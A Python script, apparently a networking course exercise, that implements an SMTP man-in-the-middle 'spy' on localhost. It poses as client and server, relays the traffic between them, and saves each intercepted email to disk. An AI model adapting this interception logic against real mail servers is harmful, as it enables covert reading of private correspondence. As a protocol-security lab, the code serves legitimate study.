import os
import socket
import sys
import logging
from utils import load_config, parse_response, server_response, print_to_server, send_msg, print_to_fake_server, \
    print_to_client, parse_cmd, commands, save_mail, print_to_fake_client
class attacker:

    def __init__(self, path):
        try:
            config = load_config(path)
            self.server_port = config['DEFAULT']['server_port']  # this port this for real server
            self.client_port = config['DEFAULT']['client_port']  # this port this for client,fake server
            self.spy_path = config['DEFAULT']['spy_path']  # this path this for email storage
            self.host = '127.0.0.1'
            self.start_spy()
        except Exception as e:
            print(e)
            exit(2)
        self.start_spy()

    def start_spy(self):
        fake_client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            fake_client_socket.connect((self.host, int(self.server_port)))
        except Exception as e:
            print_to_fake_server("Cannot establish connection")
            exit(3)

        fake_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        fake_server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        fake_server_socket.bind((self.host, int(self.client_port)))
        fake_server_socket.listen()
        client_conn, addr = fake_server_socket.accept()
        f = False
        email_buffer = []
        while True:
            # 从server 接受信息
            real_server_response = fake_client_socket.recv(1024).decode()
            code, parameter = parse_response(real_server_response)
            # if code == '250' and parameter == '127.0.0.1':
            #     continue
            if code == '221' and parameter == 'Service closing transmission channel':
                print_to_server(real_server_response)
                send_msg(client_conn,real_server_response)
                print_to_fake_server(real_server_response)
                break
            if f and code in server_response.re_err_code.value:
                email_buffer.pop(-1)
            # 打印信息
            print_to_server(real_server_response)
            # 转发给客户端
            send_msg(client_conn, real_server_response)
            print_to_fake_server(real_server_response)

            try:
                response_from_client = client_conn.recv(1024).decode()
            except Exception as e :
                break
            print_to_client(response_from_client)
            # TODO:// prestate default None ?
            cmd, param, res = parse_cmd(response_from_client)
            send_msg(fake_client_socket, res)
            print_to_fake_client(res)

            if cmd == commands.MAIL.value:
                f = True
                if f: email_buffer.append((commands.MAIL.value, param))
            elif cmd in [commands.RCPT.value, commands.DATA_BODY.value]:
                if f: email_buffer.append((cmd, param))
            elif cmd == commands.QUIT.value:
                if f:
                    save_mail(self.spy_path, email_buffer)
                f = False
                email_buffer.clear()
            elif cmd == commands.REST.value:
                f = False
                email_buffer.clear()


def main(argv):
    attacker(argv[1])


if __name__ == '__main__':
    if len(sys.argv) < 2:
        exit(1)
    main(sys.argv)
